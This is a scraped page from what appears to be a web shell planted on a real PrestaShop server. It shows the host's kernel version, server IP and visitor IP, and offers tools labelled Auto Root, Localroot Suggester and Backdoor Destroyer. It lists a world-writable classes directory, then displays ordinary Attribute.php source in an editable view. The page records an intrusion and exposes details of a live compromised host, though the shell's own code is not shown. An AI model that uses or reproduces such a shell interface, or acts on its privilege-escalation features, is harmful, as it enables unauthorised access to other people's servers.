Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html_old /
iscreen.apps-dev.fr /
classes /
Delete
Unzip
Name
Size
Permission
Date
Action
cache
[ DIR ]
drwxrwxrwx
2020-12-09 15:21
controller
[ DIR ]
drwxrwxrwx
2020-12-09 15:21
db
[ DIR ]
drwxrwxrwx
2020-12-09 15:21
exception
[ DIR ]
drwxrwxrwx
2020-12-09 15:21
helper
[ DIR ]
drwxrwxrwx
2020-12-09 15:21
log
[ DIR ]
drwxrwxrwx
2020-12-09 15:21
module
[ DIR ]
drwxrwxrwx
2020-12-09 15:21
order
[ DIR ]
drwxrwxrwx
2020-12-09 15:21
pdf
[ DIR ]
drwxrwxrwx
2020-12-09 15:21
range
[ DIR ]
drwxrwxrwx
2020-12-09 15:21
shop
[ DIR ]
drwxrwxrwx
2020-12-09 15:21
stock
[ DIR ]
drwxrwxrwx
2020-12-09 15:21
tax
[ DIR ]
drwxrwxrwx
2020-12-09 15:21
tree
[ DIR ]
drwxrwxrwx
2020-12-09 15:21
webservice
[ DIR ]
drwxrwxrwx
2020-12-09 15:21
.htaccess
510
B
-rwxrwxrwx
2023-01-18 07:38
Address.php
16.32
KB
-rwxrwxrwx
2019-04-30 18:42
AddressFormat.php
22.17
KB
-rwxrwxrwx
2019-04-30 18:42
AdminTab.php
115.85
KB
-rwxrwxrwx
2019-04-30 18:42
Alias.php
4.41
KB
-rwxrwxrwx
2019-04-30 18:42
Attachment.php
6.57
KB
-rwxrwxrwx
2019-04-30 18:42
Attribute.php
12.62
KB
-rwxrwxrwx
2019-04-30 18:42
AttributeGroup.php
11.49
KB
-rwxrwxrwx
2019-04-30 18:42
Blowfish.php
21.79
KB
-rwxrwxrwx
2019-04-30 18:42
CMS.php
8.98
KB
-rwxrwxrwx
2019-04-30 18:42
CMSCategory.php
23.42
KB
-rwxrwxrwx
2019-04-30 18:42
CMSRole.php
1.61
KB
-rwxrwxrwx
2019-04-30 18:42
CSV.php
2.89
KB
-rwxrwxrwx
2019-04-30 18:42
Carrier.php
55.24
KB
-rwxrwxrwx
2019-04-30 18:42
Cart.php
167.24
KB
-rwxrwxrwx
2019-04-30 18:42
CartRule.php
70
KB
-rwxrwxrwx
2019-04-30 18:42
Category.php
68.83
KB
-rwxrwxrwx
2019-04-30 18:42
Chart.php
5.36
KB
-rwxrwxrwx
2019-04-30 18:42
Combination.php
11.54
KB
-rwxrwxrwx
2019-04-30 18:42
CompareProduct.php
5.06
KB
-rwxrwxrwx
2019-04-30 18:42
Configuration.php
22.73
KB
-rwxrwxrwx
2019-04-30 18:42
ConfigurationKPI.php
5.49
KB
-rwxrwxrwx
2019-04-30 18:42
ConfigurationTest.php
10.66
KB
-rwxrwxrwx
2019-04-30 18:42
Connection.php
9.69
KB
-rwxrwxrwx
2019-04-30 18:42
ConnectionsSource.php
5.02
KB
-rwxrwxrwx
2019-04-30 18:42
Contact.php
3.26
KB
-rwxrwxrwx
2019-04-30 18:42
Context.php
7.29
KB
-rwxrwxrwx
2019-04-30 18:42
ControllerFactory.php
2.16
KB
-rwxrwxrwx
2019-04-30 18:42
Cookie.php
13.04
KB
-rwxrwxrwx
2019-04-30 18:42
Country.php
14.07
KB
-rwxrwxrwx
2019-04-30 18:42
County.php
3.65
KB
-rwxrwxrwx
2019-04-30 18:42
Currency.php
15.33
KB
-rwxrwxrwx
2019-04-30 18:42
Customer.php
32.46
KB
-rwxrwxrwx
2019-04-30 18:42
CustomerMessage.php
4.33
KB
-rwxrwxrwx
2019-04-30 18:42
CustomerThread.php
8.04
KB
-rwxrwxrwx
2019-04-30 18:42
Customization.php
9.72
KB
-rwxrwxrwx
2019-04-30 18:42
CustomizationField.php
2.33
KB
-rwxrwxrwx
2019-04-30 18:42
DateRange.php
2.23
KB
-rwxrwxrwx
2019-04-30 18:42
Delivery.php
3.12
KB
-rwxrwxrwx
2019-04-30 18:42
Discount.php
8.97
KB
-rwxrwxrwx
2019-04-30 18:42
Dispatcher.php
36.2
KB
-rwxrwxrwx
2019-04-30 18:42
Employee.php
16.38
KB
-rwxrwxrwx
2019-04-30 18:42
Feature.php
10.6
KB
-rwxrwxrwx
2019-04-30 18:42
FeatureValue.php
6.66
KB
-rwxrwxrwx
2019-04-30 18:42
FileUploader.php
11.06
KB
-rwxrwxrwx
2019-04-30 18:42
Gender.php
2.25
KB
-rwxrwxrwx
2019-04-30 18:42
Group.php
12.98
KB
-rwxrwxrwx
2019-04-30 18:42
GroupReduction.php
9.33
KB
-rwxrwxrwx
2019-04-30 18:42
Guest.php
7.27
KB
-rwxrwxrwx
2019-04-30 18:42
Hook.php
30.84
KB
-rwxrwxrwx
2019-04-30 18:42
Image.php
27.35
KB
-rwxrwxrwx
2019-04-30 18:42
ImageManager.php
21.9
KB
-rwxrwxrwx
2019-04-30 18:42
ImageType.php
6.14
KB
-rwxrwxrwx
2019-04-30 18:42
Language.php
39.76
KB
-rwxrwxrwx
2019-04-30 18:42
Link.php
29.46
KB
-rwxrwxrwx
2019-04-30 18:42
LocalizationPack.php
19.08
KB
-rwxrwxrwx
2019-04-30 18:42
Mail.php
24.81
KB
-rwxrwxrwx
2019-04-30 18:42
Manufacturer.php
17.13
KB
-rwxrwxrwx
2019-04-30 18:42
Media.php
39.73
KB
-rwxrwxrwx
2019-04-30 18:42
Message.php
5.65
KB
-rwxrwxrwx
2019-04-30 18:42
Meta.php
17.5
KB
-rwxrwxrwx
2019-04-30 18:42
Notification.php
6.08
KB
-rwxrwxrwx
2019-04-30 18:42
ObjectModel.php
69.64
KB
-rwxrwxrwx
2019-04-30 18:42
Pack.php
17.82
KB
-rwxrwxrwx
2019-04-30 18:42
Page.php
4.2
KB
-rwxrwxrwx
2019-04-30 18:42
PaymentCC.php
2.49
KB
-rwxrwxrwx
2019-04-30 18:42
PaymentModule.php
53.64
KB
-rwxrwxrwx
2019-04-30 18:42
PrestaShopAutoload.php
8.31
KB
-rwxrwxrwx
2019-04-30 18:42
PrestaShopBackup.php
10.53
KB
-rwxrwxrwx
2019-04-30 18:42
PrestaShopCollection.php
20.43
KB
-rwxrwxrwx
2019-04-30 18:42
PrestaShopLogger.php
6.07
KB
-rwxrwxrwx
2019-04-30 18:42
Product.php
232.97
KB
-rwxrwxrwx
2019-04-30 18:42
ProductDownload.php
9.86
KB
-rwxrwxrwx
2019-04-30 18:42
ProductSale.php
11.37
KB
-rwxrwxrwx
2019-04-30 18:42
ProductSupplier.php
7.63
KB
-rwxrwxrwx
2019-04-30 18:42
Profile.php
5.19
KB
-rwxrwxrwx
2019-04-30 18:42
QuickAccess.php
2.58
KB
-rwxrwxrwx
2019-04-30 18:42
Referrer.php
16.19
KB
-rwxrwxrwx
2019-04-30 18:42
RequestSql.php
19.64
KB
-rwxrwxrwx
2019-04-30 18:42
Rijndael.php
4.88
KB
-rwxrwxrwx
2019-04-30 18:42
Risk.php
2.35
KB
-rwxrwxrwx
2019-04-30 18:42
Scene.php
9.85
KB
-rwxrwxrwx
2019-04-30 18:42
Search.php
38.85
KB
-rwxrwxrwx
2019-04-30 18:42
SearchEngine.php
2.57
KB
-rwxrwxrwx
2019-04-30 18:42
SmartyCacheResourceMysql.php
4.76
KB
-rwxrwxrwx
2019-04-30 18:42
SmartyCustom.php
12.28
KB
-rwxrwxrwx
2019-04-30 18:42
SpecificPrice.php
22.79
KB
-rwxrwxrwx
2019-04-30 18:42
SpecificPriceRule.php
13.64
KB
-rwxrwxrwx
2019-04-30 18:42
State.php
6.65
KB
-rwxrwxrwx
2019-04-30 18:42
Store.php
4.82
KB
-rwxrwxrwx
2019-04-30 18:42
Supplier.php
15.21
KB
-rwxrwxrwx
2019-04-30 18:42
Tab.php
19.1
KB
-rwxrwxrwx
2019-04-30 18:42
Tag.php
10.19
KB
-rwxrwxrwx
2019-04-30 18:42
Theme.php
12.58
KB
-rwxrwxrwx
2019-04-30 18:42
Tools.php
130.71
KB
-rwxrwxrwx
2019-04-30 18:42
Translate.php
11.48
KB
-rwxrwxrwx
2019-04-30 18:42
TranslatedConfiguration.php
3.99
KB
-rwxrwxrwx
2019-04-30 18:42
Upgrader.php
11.02
KB
-rwxrwxrwx
2019-04-30 18:42
Uploader.php
8.47
KB
-rwxrwxrwx
2019-04-30 18:42
Validate.php
31.72
KB
-rwxrwxrwx
2019-04-30 18:42
Zone.php
3.17
KB
-rwxrwxrwx
2019-04-30 18:42
index.php
29.14
KB
-rwxrwxrwx
2023-01-18 07:38
Save
Rename
<?php /* * 2007-2017 PrestaShop * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * http://opensource.org/licenses/osl-3.0.php * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to http://www.prestashop.com for more information. * * @author PrestaShop SA <contact@prestashop.com> * @copyright 2007-2017 PrestaShop SA * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) * International Registered Trademark & Property of PrestaShop SA */ class AttributeCore extends ObjectModel { /** @var int Group id which attribute belongs */ public $id_attribute_group; /** @var string Name */ public $name; public $color; public $position; public $default; /** * @see ObjectModel::$definition */ public static $definition = array( 'table' => 'attribute', 'primary' => 'id_attribute', 'multilang' => true, 'fields' => array( 'id_attribute_group' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), 'color' => array('type' => self::TYPE_STRING, 'validate' => 'isColor'), 'position' => array('type' => self::TYPE_INT, 'validate' => 'isInt'), /* Lang fields */ 'name' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'required' => true, 'size' => 128), ) ); protected $image_dir = _PS_COL_IMG_DIR_; protected $webserviceParameters = array( 'objectsNodeName' => 'product_option_values', 'objectNodeName' => 'product_option_value', 'fields' => array( 'id_attribute_group' => array('xlink_resource'=> 'product_options'), ) ); public function __construct($id = null, $id_lang = null, $id_shop = null) { $this->image_dir = _PS_COL_IMG_DIR_; parent::__construct($id, $id_lang, $id_shop); } public function delete() { if (!$this->hasMultishopEntries() || Shop::getContext() == Shop::CONTEXT_ALL) { $result = Db::getInstance()->executeS('SELECT id_product_attribute FROM '._DB_PREFIX_.'product_attribute_combination WHERE id_attribute = '.(int)$this->id); $products = array(); foreach ($result as $row) { $combination = new Combination($row['id_product_attribute']); $new_request = Db::getInstance()->executeS('SELECT id_product, default_on FROM '._DB_PREFIX_.'product_attribute WHERE id_product_attribute = '.(int)$row['id_product_attribute']); foreach ($new_request as $value) { if ($value['default_on'] == 1) { $products[] = $value['id_product']; } } $combination->delete(); } foreach ($products as $product) { $result = Db::getInstance()->executeS('SELECT id_product_attribute FROM '._DB_PREFIX_.'product_attribute WHERE id_product = '.(int)$product.' LIMIT 1'); foreach ($result as $row) { if (Validate::isLoadedObject($product = new Product((int)$product))) { $product->deleteDefaultAttributes(); $product->setDefaultAttribute($row['id_product_attribute']); } } } // Delete associated restrictions on cart rules CartRule::cleanProductRuleIntegrity('attributes', $this->id); /* Reinitializing position */ $this->cleanPositions((int)$this->id_attribute_group); } $return = parent::delete(); if ($return) { Hook::exec('actionAttributeDelete', array('id_attribute' => $this->id)); } return $return; } public function update($null_values = false) { $return = parent::update($null_values); if ($return) { Hook::exec('actionAttributeSave', array('id_attribute' => $this->id)); } return $return; } public function add($autodate = true, $null_values = false) { if ($this->position <= 0) { $this->position = Attribute::getHigherPosition($this->id_attribute_group) + 1; } $return = parent::add($autodate, $null_values); if ($return) { Hook::exec('actionAttributeSave', array('id_attribute' => $this->id)); } return $return; } /** * Get all attributes for a given language * * @param int $id_lang Language id * @param bool $notNull Get only not null fields if true * @return array Attributes */ public static function getAttributes($id_lang, $not_null = false) { if (!Combination::isFeatureActive()) { return array(); } return Db::getInstance()->executeS(' SELECT DISTINCT ag.*, agl.*, a.`id_attribute`, al.`name`, agl.`name` AS `attribute_group` FROM `'._DB_PREFIX_.'attribute_group` ag LEFT JOIN `'._DB_PREFIX_.'attribute_group_lang` agl ON (ag.`id_attribute_group` = agl.`id_attribute_group` AND agl.`id_lang` = '.(int)$id_lang.') LEFT JOIN `'._DB_PREFIX_.'attribute` a ON a.`id_attribute_group` = ag.`id_attribute_group` LEFT JOIN `'._DB_PREFIX_.'attribute_lang` al ON (a.`id_attribute` = al.`id_attribute` AND al.`id_lang` = '.(int)$id_lang.') '.Shop::addSqlAssociation('attribute_group', 'ag').' '.Shop::addSqlAssociation('attribute', 'a').' '.($not_null ? 'WHERE a.`id_attribute` IS NOT NULL AND al.`name` IS NOT NULL AND agl.`id_attribute_group` IS NOT NULL' : '').' ORDER BY agl.`name` ASC, a.`position` ASC '); } public static function isAttribute($id_attribute_group, $name, $id_lang) { if (!Combination::isFeatureActive()) { return array(); } $result = Db::getInstance()->getValue(' SELECT COUNT(*) FROM `'._DB_PREFIX_.'attribute_group` ag LEFT JOIN `'._DB_PREFIX_.'attribute_group_lang` agl ON (ag.`id_attribute_group` = agl.`id_attribute_group` AND agl.`id_lang` = '.(int)$id_lang.') LEFT JOIN `'._DB_PREFIX_.'attribute` a ON a.`id_attribute_group` = ag.`id_attribute_group` LEFT JOIN `'._DB_PREFIX_.'attribute_lang` al ON (a.`id_attribute` = al.`id_attribute` AND al.`id_lang` = '.(int)$id_lang.') '.Shop::addSqlAssociation('attribute_group', 'ag').' '.Shop::addSqlAssociation('attribute', 'a').' WHERE al.`name` = \''.pSQL($name).'\' AND ag.`id_attribute_group` = '.(int)$id_attribute_group.' ORDER BY agl.`name` ASC, a.`position` ASC '); return ((int)$result > 0); } /** * Get quantity for a given attribute combination * Check if quantity is enough to deserve customer * * @param int $id_product_attribute Product attribute combination id * @param int $qty Quantity needed * @return bool Quantity is available or not */ public static function checkAttributeQty($id_product_attribute, $qty, Shop $shop = null) { if (!$shop) { $shop = Context::getContext()->shop; } $result = StockAvailable::getQuantityAvailableByProduct(null, (int)$id_product_attribute, $shop->id); return ($result && $qty <= $result); } /** * @deprecated 1.5.0, use StockAvailable::getQuantityAvailableByProduct() */ public static function getAttributeQty($id_product) { Tools::displayAsDeprecated(); return StockAvailable::getQuantityAvailableByProduct($id_product); } /** * Update array with veritable quantity * * @deprecated since 1.5.0 * @param array &$arr * @return bool */ public static function updateQtyProduct(&$arr) { Tools::displayAsDeprecated(); $id_product = (int)$arr['id_product']; $qty = Attribute::getAttributeQty($id_product); if ($qty !== false) { $arr['quantity'] = (int)$qty; return true; } return false; } /** * Return true if attribute is color type * * @acces public * @return bool */ public function isColorAttribute() { if (!Db::getInstance()->getRow(' SELECT `group_type` FROM `'._DB_PREFIX_.'attribute_group` WHERE `id_attribute_group` = ( SELECT `id_attribute_group` FROM `'._DB_PREFIX_.'attribute` WHERE `id_attribute` = '.(int)$this->id.') AND group_type = \'color\'')) { return false; } return Db::getInstance()->numRows(); } /** * Get minimal quantity for product with attributes quantity * * @acces public static * @param int $id_product_attribute * @return mixed Minimal Quantity or false */ public static function getAttributeMinimalQty($id_product_attribute) { $minimal_quantity = Db::getInstance()->getValue(' SELECT `minimal_quantity` FROM `'._DB_PREFIX_.'product_attribute_shop` pas WHERE `id_shop` = '.(int)Context::getContext()->shop->id.' AND `id_product_attribute` = '.(int)$id_product_attribute ); if ($minimal_quantity > 1) { return (int)$minimal_quantity; } return false; } /** * Move an attribute inside its group * @param bool $way Up (1) or Down (0) * @param int $position * @return bool Update result */ public function updatePosition($way, $position) { if (!$id_attribute_group = (int)Tools::getValue('id_attribute_group')) { $id_attribute_group = (int)$this->id_attribute_group; } $sql = ' SELECT a.`id_attribute`, a.`position`, a.`id_attribute_group` FROM `'._DB_PREFIX_.'attribute` a WHERE a.`id_attribute_group` = '.(int)$id_attribute_group.' ORDER BY a.`position` ASC'; if (!$res = Db::getInstance()->executeS($sql)) { return false; } foreach ($res as $attribute) { if ((int)$attribute['id_attribute'] == (int)$this->id) { $moved_attribute = $attribute; } } if (!isset($moved_attribute) || !isset($position)) { return false; } // < and > statements rather than BETWEEN operator // since BETWEEN is treated differently according to databases $res1 = Db::getInstance()->execute(' UPDATE `'._DB_PREFIX_.'attribute` SET `position`= `position` '.($way ? '- 1' : '+ 1').' WHERE `position` '.($way ? '> '.(int)$moved_attribute['position'].' AND `position` <= '.(int)$position : '< '.(int)$moved_attribute['position'].' AND `position` >= '.(int)$position).' AND `id_attribute_group`='.(int)$moved_attribute['id_attribute_group'] ); $res2 = Db::getInstance()->execute(' UPDATE `'._DB_PREFIX_.'attribute` SET `position` = '.(int)$position.' WHERE `id_attribute` = '.(int)$moved_attribute['id_attribute'].' AND `id_attribute_group`='.(int)$moved_attribute['id_attribute_group'] ); return ($res1 && $res2); } /** * Reorder attribute position in group $id_attribute_group. * Call it after deleting an attribute from a group. * * @param int $id_attribute_group * @param bool $use_last_attribute * @return bool $return */ public function cleanPositions($id_attribute_group, $use_last_attribute = true) { Db::getInstance()->execute('SET @i = -1', false); $sql = 'UPDATE `'._DB_PREFIX_.'attribute` SET `position` = @i:=@i+1 WHERE'; if ($use_last_attribute) { $sql .= ' `id_attribute` != '.(int)$this->id.' AND'; } $sql .= ' `id_attribute_group` = '.(int)$id_attribute_group.' ORDER BY `position` ASC'; $return = Db::getInstance()->execute($sql); } /** * getHigherPosition * * Get the higher attribute position from a group attribute * * @param int $id_attribute_group * @return int $position */ public static function getHigherPosition($id_attribute_group) { $sql = 'SELECT MAX(`position`) FROM `'._DB_PREFIX_.'attribute` WHERE id_attribute_group = '.(int)$id_attribute_group; $position = DB::getInstance()->getValue($sql); return (is_numeric($position)) ? $position : -1; } }